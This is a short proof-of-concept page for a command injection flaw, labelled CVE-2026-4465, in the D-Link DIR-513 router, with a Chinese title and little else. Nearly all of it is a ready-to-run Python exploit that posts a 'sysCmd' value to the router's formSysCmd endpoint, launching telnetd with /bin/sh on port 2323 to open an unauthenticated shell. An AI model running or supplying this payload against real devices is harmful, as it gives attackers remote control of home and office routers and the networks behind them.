CVE-2026-4465 D-Link DIR-513 命令注入漏洞

import requests # Target configuration target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/formSysCmd" # Malicious payload to inject OS command (e.g., telnetd) # The vulnerable parameter is 'sysCmd' payload_data = { "sysCmd": "telnetd -l /bin/sh -p 2323" } try: # Send the POST request to exploit the vulnerability response = requests.post(url, data=payload_data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")